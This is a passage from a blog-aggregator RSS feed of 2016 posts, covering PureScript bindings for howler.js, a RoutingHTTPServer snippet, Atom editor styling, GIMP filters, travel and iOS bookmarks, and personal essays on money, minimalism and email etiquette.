    q &amp;lt;- readProp &amp;quot;correct&amp;quot; value
    v &amp;lt;- readProp &amp;quot;value&amp;quot; value
    pure $ Ans (Tuple q v)

instance qaIsForeign :: IsForeign QA where
  read value = do
    q &amp;lt;- readProp &amp;quot;question&amp;quot; value
    as &amp;lt;- readProp &amp;quot;answers&amp;quot; value
    pure $ QA { question: q, answers: as }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can just use &lt;code&gt;readJSON&lt;/code&gt; to try and parse the result we get from affjax's &lt;code&gt;get&lt;/code&gt;, and that's it!&lt;/p&gt;&lt;h2 id="playing-audio"&gt;Playing Audio&lt;/h2&gt;&lt;p&gt;For the second interesting part, we'll look at how to wrap a function or two from a javascript library.&lt;/p&gt;&lt;p&gt;To play audio in the browser I have chosen to use &lt;a href="http://howlerjs.com/"&gt;howler.js&lt;/a&gt;, mainly for it's ease of use.
Fortunately at the time bindings for such library were not available in purescript so I got to
learn how to wrap it myself.&lt;/p&gt;&lt;p&gt;Looking at the documentation of howler.js, I basically needed only two things, how to create a sound from url
and how to play it. Let's form this API in purescript before continuing.&lt;/p&gt;&lt;p&gt;Creating and playing sounds are basically effects, so we would like to tag them as such. to define and effect
we give it the kind &lt;code&gt;!&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;foreign import data SOUND :: !&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We would also like a type to represent the sound object we create in javascript:&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;foreign import data Sound :: *&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, let's create the signature for the javascript functions we are going to use.
We'll declare the effects we are going to use, the inputs and the output.&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;foreign import newSound  :: forall e. String -&amp;gt; Eff (sound :: SOUND | e) Sound
foreign import playSound :: forall e. Sound  -&amp;gt; Eff (sound :: SOUND | e) Unit&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is basically all we need from the purescript front!&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;module Sound
    ( Sound
    , SOUND
    , newSound
    , playSound
    ) where

import Prelude (Unit)
import Control.Monad.Eff (Eff)

foreign import data SOUND :: !

foreign import data Sound :: *

foreign import newSound  :: forall e. String -&amp;gt; Eff (sound :: SOUND | e) Sound
foreign import playSound :: forall e. Sound  -&amp;gt; Eff (sound :: SOUND | e) Unit

&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now for the javascript front:&lt;/p&gt;&lt;pre&gt;&lt;code class="js"&gt;&amp;quot;use strict&amp;quot;;

// module Sound

exports.newSound = function(url) {
    return function() {
        return new Howl({ urls: [url], volume: 0.15 });
    };
};

exports.playSound = function(soundObj) {
    return function() {
        return soundObj.play();
    };
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A few things to note:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;code&gt;// module Sound&lt;/code&gt; is important, it declares the name of the module for purescript [&lt;b&gt;Update&lt;/b&gt;: No longer needed in 0.9]&lt;/li&gt;&lt;li&gt;&lt;code&gt;exports.&amp;lt;function-name&amp;gt;&lt;/code&gt; exposes that function in the module so we can import it from purescript&lt;/li&gt;&lt;li&gt;When representing effectful functions, we need to wrap the body of the function in &lt;code&gt;return function() { }&lt;/code&gt; (&lt;a href="https://leanpub.com/purescript/read#leanpub-auto-representing-side-effects"&gt;more about that here&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now we can use our new library and play music from purescript!&lt;/p&gt;&lt;p&gt;This eventually lead me wrap a little more of howler.js for your convenience. You can find the bindings &lt;a href="https://github.com/soupi/purescript-howler"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;&lt;p&gt;I had a very pleasant experience using purescript for Ludum Dare this time, and
I would like to thank to the people at #purescript in freenode who helped me a lot during the jam.
If you ever get stuck in something purescript related, you should definitely consider seeking help in the channel.
There are a lot of really nice people always willing to help :)&lt;/p&gt;&lt;p&gt;And, of course, I almost forgot! Here is a link to &lt;a href="https://soupi.github.io/ld35"&gt;my game&lt;/a&gt;. You can also view the source at the &lt;a href="https://github.com/soupi/ld35"&gt;github repo&lt;/a&gt;.&lt;/p&gt;</description><author>λm.me</author><pubDate>Mon, 09 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://gilmi.me/post/2016/05/09/ld35</guid></item><item><title>Building your snap on-device? There's a better way</title><link>https://kyrofa.com/posts/building-your-snap-on-device-there-s-a-better-way/</link><description>I&amp;rsquo;m currently the maintainer of the ownCloud snap. One of the primary target devices for this snap is a Raspberry Pi 2, which is of course armhf. Snapcraft solves a lot of problems when building snaps, but one issue it doesn&amp;rsquo;t solve is cross-building (i.e. building on one architecture while targeting another). Back in Snappy Ubuntu Core 15.04, every ownCloud release I made for armhf was built on the Raspberry Pi 2.</description><author>kyrofa's blog</author><pubDate>Mon, 09 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/building-your-snap-on-device-there-s-a-better-way/</guid></item><item><title>RoutingHTTPServer snippet</title><link>https://xenodium.com/routinghttpserver-snippet</link><description>&lt;p&gt;&lt;a href="https://github.com/mattstevens/RoutingHTTPServer"&gt;RoutingHTTPServer&lt;/a&gt; snippet:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-objc"&gt;RoutingHTTPServer *routingHTTPServer = [[RoutingHTTPServer alloc] init];
[routingHTTPServer setPort:8000];
[routingHTTPServer setDefaultHeader:@&amp;quot;Server&amp;quot; value:@&amp;quot;YourAwesomeApp/1.0&amp;quot;];
[routingHTTPServer handleMethod:@&amp;quot;GET&amp;quot;
                       withPath:@&amp;quot;/hello&amp;quot;
                          block:^(RouteRequest *request, RouteResponse *response) {
    [response setHeader:@&amp;quot;Content-Type&amp;quot; value:@&amp;quot;text/plain&amp;quot;];
    [response respondWithString:@&amp;quot;Hello!&amp;quot;];
  }];
NSError *error = nil;
if (![routingHTTPServer start:&amp;amp;error]) {
  NSLog(@&amp;quot;Error starting HTTP Server: %@\n&amp;quot;, error);
 }
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/routinghttpserver-snippet</guid></item><item><title>Twenties vs. Thirties (from a feeling-behind-the-curve 27 year old.)</title><link>https://josh.works/twenties-vs-thirties</link><description>&lt;p&gt;Some months ago I found a very encouraging article, comparing one’s twenties to one’s thirties. I’ve scoured everywhere that I stick notes and interesting reads, and cannot, for the life of me, find the article.&lt;/p&gt;

&lt;p&gt;The internet is littered with &lt;a href="https://thebolditalic.com/turning-30-described-in-charts-and-graphs-the-bold-italic-san-francisco-4aa5104b9ab0#.ppn5zux9p"&gt;tons&lt;/a&gt; of
&lt;a href="http://www.huffingtonpost.com/jacqui-zadik/10-differences-between-our-20s-vs-our-30s_b_6276860.html"&gt;fluff pieces&lt;/a&gt; talking about sex and drinking, and comparing those in your twenties to those in your thirties, but I couldn’t find much of substance.&lt;/p&gt;

&lt;p&gt;The one piece I found &lt;a href="http://thecooperreview.com/money-20s-vs-30s/"&gt;on money&lt;/a&gt; was dismal.&lt;/p&gt;

&lt;p&gt;Now, to be fair, what I’m finding is what’s foisted upon me by HuffPo’s SEO, and these fluff pieces get lots of links and shares, so they ride to the top of Google’s rankings.&lt;/p&gt;

&lt;p&gt;I still can’t stand it. Not because it’s wrong, but because there is this pervasive notion that the twenties are supposed to be the highlight of our lives, and after that, it’s just work and misery, and trying to coast through life while still scraping together some fun weekends drunk.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;But Josh, we all know that’s not true. I’m in my twenties, and I know this isn’t the peak of my existence.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yes. I know this too. But I find myself slipping into this sense of “time is running out” to accomplish all that I’ve ever wanted to accomplish… by the time I’m 30. (I’m 27, by the way.)&lt;/p&gt;

&lt;p&gt;&lt;a href="http://elitedaily.com/life/savings-20s-something-wrong/1214445/"&gt;This article on “If you’re saving in your 20’s, you’re doing it wrong”&lt;/a&gt; made the rounds a few months ago. The author argues:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Your 20s are not the time to save; they’re the time to gamble. $200 a month isn’t going to make the dent that a $60,000 pay raise will after spending all those nights out networking.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;When you have something to bank on, you have nothing to reach for. When you have nothing to lose, you have everything to gain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;She’s right that $200/month won’t immediately make you rich, and that a $60k pay raise might. But the two are connected. Mr. Money Mustache wrote a delightful response,
&lt;a href="http://www.mrmoneymustache.com/2015/09/29/if-youre-not-getting-rich-in-your-20s-youre-doing-it-wrong/"&gt;If You’re Not Getting Rich in your 20s, You’re Doing it Wrong&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Here’s the thing about your 20s. They are the time to work. The very, very best time in your life to work your ass off and create an exponential snowball of money, skills, and friendships.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, we’re moving somewhere. We can discard the crap BuzzFeed pieces about alcohol tolerance in your thirties, and we know that we should be doing something in our twenties (besides spending all the money we make), and we’ve got people like Mr. Money Mustache and The Financial Diet (rebuttal title: &lt;a href="http://thefinancialdiet.com/if-you-dont-have-savings-in-your-20s-youre-a-fucking-idiot/"&gt;If You Don’t Have Savings In Your 20s, You’re A Fucking Idiot&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The idea of “investment” threads through all these pieces. The “don’t save anything” piece thinks that by saving, you’re unable to invest in things that will provide a greater return down the road. The authors of the rebuttals argue that you can simultaneously save and invest, and that maybe even by saving more, you’re better equipped to invest more.&lt;/p&gt;

&lt;p&gt;I’m “sold” on the idea on investing right now.&lt;/p&gt;

&lt;p&gt;I will gladly invest my time, money, and effort into things that will build capacity down the road. Heck, the words you’re reading right now count as an investment - I want to be a better communicator, so here I am communicating. The first piece won’t be good, but maybe once I’ve written a thousand things I’ll be bit better.&lt;/p&gt;

&lt;p&gt;But this is a time of investment. I keep finding myself concerned that because I’ve done done one thing or another, I’ll probably never do it. I’ve got plenty of goals, and if I accomplished them all by the time I was 30, who knows what else I’d work on. So, my recommendation to myself (and to you, if we’re in the same boat):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Be consistent in making small, regular investments across many domains today. Don’t worry about what will come of it just yet. You’ve got time to let things grow.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>Josh Thompson</author><pubDate>Sun, 08 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/twenties-vs-thirties</guid></item><item><title>Save hundreds by being willing to spend $20</title><link>https://josh.works/misc/2016/05/07/save-hundreds-by-being-willing-to-spend-20/</link><description>&lt;p&gt;When you pack for a trip, you pack “just in case” items, right? Things that in a certain situation would be priceless. Think “umbrella” or “underpants”.&lt;/p&gt;

&lt;p&gt;But then you think of all the possible situations you might encounter, and you’ll find your “just in case” items quickly outnumber (and outweigh) your “essentials” list.&lt;/p&gt;

&lt;p&gt;(This applies equally to packing for travel, and just living in your house/apartment.)&lt;/p&gt;

&lt;p&gt;I want to convince you to switch your thinking from “I 
might need this thing” to “Statistically, I will not need 
this thing, but I will need 
a thing, so I’ve planned accordingly.”&lt;/p&gt;

&lt;p&gt;There’s a final, unexpected benefit to this thinking, too. I’ll expand on that at the end.&lt;/p&gt;

&lt;h2 id="you-cannot-anticipate-what-youll-need-just-that-you-will-need-something"&gt;You cannot anticipate what you’ll need, just that you will need something&lt;/h2&gt;

&lt;p&gt;The problem is, of 20 items you’ll need some day, you have no idea when that will be, and you’re stuck caring for them, and storing them, and moving them, until that day.&lt;/p&gt;

&lt;p&gt;Here’s how to sidestep the problem:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Give yourself permission to get rid of anything that you’re on the fence about, if it can be replaced for $20 or less.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You might choose to leave behind twenty items, and save yourself tons of time and frustration by getting rid of it, and then at the end, replace one or two items.&lt;/p&gt;

&lt;p&gt;Now, what items should you apply this rule to? Well, obviously start with just that $20 price limit, and then apply it to anywhere you see an excess of items. It seems the top offenders here are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Closets with clothing acquired for free or cheap (get rid of that shirt you got from that 5k you ran a few years back, and that thing you bought because it was on sale.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Kitchen utensils. It’s hard rummaging around for that thing you use almost every day, when it’s buried in with things you’ve not used for six months. Get rid of the stuff you don’t use. Tape a $20 to your fridge, if you’d like, to symbolize your new line of thinking. &lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Tool chests/buckets/storage areas/garages/basements. We put things here that we don’t need, and we know we don’t need, we just think we &lt;em&gt;might&lt;/em&gt; want them later. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I can provide two examples:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Kristi and I are traveling, and went to see an orchestra. We’ve been living out of small backpacks for two months, and had no formal attire. The orchestra was formal-ish, but Kristi didn’t have any dresses. So she went to a thrift store and bought a dress that she liked for about €4.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It was cold and wet in Austria, and Kristi did not have an umbrella or waterproof later. So she bought a water-resistant layer at a department store for €15. She could have packed more clothing at the beginning of the trip , but packed light, and acquired what she needed as she went. It was only after eight weeks on the road that this particular layer became critical.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, it may seem obvious that if you need something, and you’re in a city, you can probably buy it. But by PLANNING for this, you can adjust your trip packing ahead of time.&lt;/p&gt;

&lt;p&gt;For example, in a trip, it’s possible that you’ll need to be able to swim, go to a formal event, exercise/work out, endure rain/snow, spill something on yourself, be comfortable in hot weather, and much more.&lt;/p&gt;

&lt;p&gt;Right now, the minimum list of items to pack to cover those contingencies would be:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Swimsuit&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Formal clothing&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;shorts/socks/shoes/shirt appropriate for exercise&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;rain clothing/insulated layers&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;replacement clothing for whatever you could spill a drink/food on&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;shorts/t-shirt&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You would have to pack all of this clothing in addition to whatever you planned to pack and wear normally.&lt;/p&gt;

&lt;p&gt;So, say to yourself “I’ll pack for none of these activities, but will give myself permission to spend $20 to equip myself for any of these situations.”&lt;/p&gt;

&lt;p&gt;Now you’ve saved yourself TONS of space in your bag (maybe you won’t even need to check a bag on your trip. This saves you more time and money, and you’re more mobile just walking around.)&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;Now, remember that “final, unexpected benefit” I mentioned earlier?&lt;/p&gt;

&lt;p&gt;The benefit of this kind of thinking is it forces you to rely a bit more on yourself, and a bit less on stuff. You have to be prepared to think a bit outside the box, and think dispassionately about your things. You’ll start thinking not just “I own these things” but also “Am I content being owned by these things?”&lt;/p&gt;

&lt;p&gt;I was listening to a podcast by 
&lt;a href="http://fourhourworkweek.com/2016/01/22/the-tao-of-seneca/"&gt;Tim Ferriss&lt;/a&gt;, who quoted 
&lt;a href="https://en.wikipedia.org/wiki/Seneca_the_Younger"&gt;Seneca&lt;/a&gt; to this effect:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A person’s degree of self-ownership is inversely related to their dependence on things around them for security and provision.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I’ll close with a little… aspirational dreaming? food for thought?&lt;/p&gt;

&lt;p&gt;Much of the decisions we’re encouraged to make by the world around us is rooted in fear. Fear of loss, fear of impoverishment, fear of other people, fear of financial ruin, fear of someone not liking us, fear of the wrong person having power, fear of doing something and it not working out perfectly, fear of embarrassment, fear of criticism, fear of missing out, fear of being unlikable, fear of being uncool, etc.&lt;/p&gt;

&lt;p&gt;Obviously, we don’t want to be fearful. It’s stressful, expensive, and greatly reduces your quality of life. So, treat your relationship with your stuff as a means of facing fear, and stepping a little beyond your comfort zone.&lt;/p&gt;

&lt;h3 id="additional-reading"&gt;Additional Reading:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://fourhourworkweek.com/2016/01/22/the-tao-of-seneca/"&gt;Seneca Audio Book from Tim Ferriss&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.theminimalists.com/jic/"&gt;The Minimalists on getting rid of “Just In Case” items&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sat, 07 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/05/07/save-hundreds-by-being-willing-to-spend-20/</guid></item><item><title>Links - May 7th, 2016</title><link>https://faingezicht.com/links/2016/05/07/links/</link><description/><author>Avy Faingezicht</author><pubDate>Sat, 07 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/07/links/</guid></item><item><title>Highlight variables in Atom, Babel template strings</title><link>https://muffinman.io/blog/highlight-vars-in-atom-babel-javascript/</link><description>&lt;article class="article"&gt;&lt;p&gt;Atom &lt;a href="https://babeljs.io/"&gt;Babel&lt;/a&gt; plugin doesn&amp;#x27;t highlight variables
in ES6 (ES2015) template strings.&lt;/p&gt;
&lt;p&gt;You&amp;#x27;ll need to add this snippet to your Atom&amp;#x27;s &lt;code&gt;style.less&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;atom-text-editor&lt;span class="token pseudo-element"&gt;::shadow&lt;/span&gt; &lt;span class="token class"&gt;.variable&lt;/span&gt;&lt;span class="token class"&gt;.js&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;color&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token hexcode color"&gt;#F8F8F2&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="ES6 template string with variable highlighted in Atom" height="152" src="./template-string-vars.png" width="1072" /&gt;&lt;/figure&gt;
&lt;p&gt;In general, you can just inspect stuff in Atom, find out what classes
element are using, and then style it via CSS (LESS).
Just don&amp;#x27;t forget to add &lt;code&gt;atom-text-editor::shadow&lt;/code&gt; before your rules.&lt;/p&gt;
&lt;p&gt;If anyone is interested, I&amp;#x27;m using &lt;a href="https://atom.io/themes/monokai-seti"&gt;Monokai Seti&lt;/a&gt; theme.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sat, 07 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/highlight-vars-in-atom-babel-javascript/</guid></item><item><title>NIK Filters in GIMP, Wallpapers, a book and some more!</title><link>https://ericonotes.blogspot.com/2016/05/nik-filters-in-gimp-wallpapers-book-and.html</link><description>Been a long time since I've written something here. So I thought I should post some small things I've done in the mean time.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Running NIK Collection filters on GIMP&lt;/h2&gt;
&lt;div&gt;
I am slowly transitioning to use GIMP more. It's far easier once you've made it to look just like Photoshop - look &lt;a href="http://www.rileybrandt.com/2014/03/09/photoshop-to-gimp/"&gt;this guide&lt;/a&gt; or &lt;a href="https://github.com/draekko/gimp-cc-themes"&gt;this theme&lt;/a&gt;&amp;nbsp;- if that's what you are coming from.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Recently, Google made some filters from NIK, a company it acquired that also makes the app Snapseed for Android, available for &lt;a href="https://www.google.com/nikcollection/"&gt;download for free&lt;/a&gt;. If you look the website, the filters seem awesome. Looking on the web you will findout that people have made it run with GIMP in Windows.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But I also ditched Windows some time ago, and am using Ubuntu. So I decided I would use them in Ubuntu. There isn't much to say here other than, yeah, I've done it, using Play On Linux, both the script for Play On Linux and for Gimp are available for download in the repo below.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://github.com/ericoporto/NikInGimp"&gt;https://github.com/ericoporto/NikInGimp&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This was very useful and allowed me to use them on some images...&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
A Repository for my Wallpapers&lt;/h2&gt;
&lt;div&gt;
So I don't have a Camera. I mean, a real one, with lots of fun manual controls. My smartphone recently died and I changed to using a Moto X Play - which I feel it's an awesome phone. And it has a 21 Megapixel camera, that although isn't the best on market, can take decent photos on good lighting.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
With this, and the new filters, and the fact that I am learning how to use Darktable, I decided to post online the photos that I feel are nice enough to be used as wallpaper by other people. Link below.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://github.com/ericoporto/myWallpapers"&gt;https://github.com/ericoporto/myWallpapers&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
And that thing about a book...&lt;/h2&gt;
&lt;div&gt;
Writing is something I am &lt;b&gt;very&lt;/b&gt; slow. Like I take a lot of time between writing, reading, rewriting, rereading... But I decided to write something that I think should be easy for everyone, which is building your own computer. I know, desktops aren't exactly the hottest topic in 2016. But building PCs is something I really enjoy doing, reading on the trends, benchmarks, looking up YouTube videos showing the fps for games. Yeah, so hey, it's right here, &lt;b&gt;How to Build A PC&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://github.com/ericoporto/HowToBuildAPC"&gt;https://github.com/ericoporto/HowToBuildAPC&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
And what more?...&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I feel like I have less and less free time in life the older I get. So there isn't much more. I've made a gist in github in the mean time to throw some homeless scripts and texts, maybe some stuff there will grow in the future. There is a link to my gist down here.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://gist.github.com/ericoporto"&gt;https://gist.github.com/ericoporto&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
bye for now!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Erico Notes</author><pubDate>Fri, 06 May 2016 22:31:45 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/05/nik-filters-in-gimp-wallpapers-book-and.html</guid></item><item><title>Alaska travel bookmarks</title><link>https://xenodium.com/alaska-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Anchorage.&lt;/li&gt;
&lt;li&gt;Denali NP.&lt;/li&gt;
&lt;li&gt;Exit Glacier / Kenai Fjord NP.&lt;/li&gt;
&lt;li&gt;Ice Falls Hike.&lt;/li&gt;
&lt;li&gt;Iditarod race husky camp.&lt;/li&gt;
&lt;li&gt;Seward: Kenai Fjord Wildlife cruise (Major Marine cruises).&lt;/li&gt;
&lt;li&gt;Talkeetna fishing.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 06 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/alaska-travel-bookmarks</guid></item><item><title>UIViewController bookmarks</title><link>https://xenodium.com/uiviewcontroller-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/twostraws/status/1035193619307618304"&gt;What's your number one tip for avoiding massive view controllers?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://khanlou.com/2014/09/8-patterns-to-help-you-destroy-massive-view-controller/"&gt;8 Patterns to Help You Destroy Massive View Controller&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://realm.io/news/tryswift-daniel-steinberg-blending-cultures/"&gt;Blending Cultures: The Best of Functional, Protocol-Oriented, and Object-Oriented Programming&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=xsSnOQynTHs&amp;amp;feature=youtu.be"&gt;Dan Abramov - Live React: Hot Reloading with Time Travel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://inessential.com/2016/04/08/comparing_reactive_and_traditional"&gt;Comparing Reactive and Traditional&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://reswift.github.io/ReSwift/master/getting-started-guide.html"&gt;ReSwift: Getting Started&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sahandnayebaziz/StateView/blob/master/readme.md"&gt;StateView is a UIView substitute that automatically updates itself when data changes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://inessential.com/2016/04/11/the_objective-c_version"&gt;The Objective-C version to &amp;quot;Comparing Reactive and Traditional&amp;quot;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://realm.io/news/andy-matuschak-refactor-mega-controller"&gt;Let's Play: Refactor the Mega Controller!&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jlyman/RN-NavigationExperimental-Redux-Example"&gt;How to use Redux to manage navigation state in a React Native&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sahandnayebaziz/StateView"&gt;StateView: UIView substitute automatically updating itself when data changes.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/videos/play/wwdc2015/219/"&gt;Mysteries of Auto Layout, Part 2&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=COviCoUtwx4"&gt;Netflix JavaScript Talks - RxJS Version 5&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.reactive-streams.org"&gt;Reactive Streams&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 06 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/uiviewcontroller-bookmarks</guid></item><item><title>Be a little better at personal email</title><link>https://josh.works/2016/05/06/be-a-little-better-at-personal-email/</link><description>&lt;p&gt;The next bunch of posts will be me “clearing out the drawers” of notes I have scattered across my phone, computer, and brain. There is no unifying theme to what will be written here.&lt;/p&gt;

&lt;h1 id="three-recommendations-to-email-better"&gt;Three recommendations to email better&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://www.urbandictionary.com/define.php?term=tl%3Bdr"&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/a&gt; Email should usually be as short as possible. More of a text message than a letter. If an email isn’t going to be one line (like a text) make it easy to skim, by using many line breaks.&lt;/p&gt;

&lt;p&gt;If you need input from someone else to proceed, present a list of their options, and say “unless I hear otherwise, I’ll do {option}.” (source: 
&lt;a href="http://unlessiheardifferently.com/"&gt;unlessiheardifferently.com&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Longer Version, AKA Don’t read this paragraph&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I had a discussion with a friend a few months ago about “rules for email”, or “email best practices”. These “best practices” are all generally in the context of 1:1 email, or at most, one email to a small group. We all send and receive emails, and it may seem like it doesn’t matter if you write good email. I used to think it didn’t matter. Then I started emailing around when I was trying to get a job. Then I realized my email skills were EXACTLY what got me to a first interview at a company, or got a “thanks for your inquiry, but no thanks”, or no reply at all. A short email I sent is exactly why I have the job I have today. I’ll include some screenshots of early emails I sent in a later message. They are horrendous, extremely long tomes. I’d never send anything like that to a stranger these days. BUT! They were not complete wastes. I was trying to demonstrate my ability to deliver value to the person I was emailing, in regards to the job I wanted to do. This is a good goal to have, I just executed it poorly. Good email respects the reader, even if it is entirely devoid of pleasantries and flowery language. It is short and concise because important and busy people have 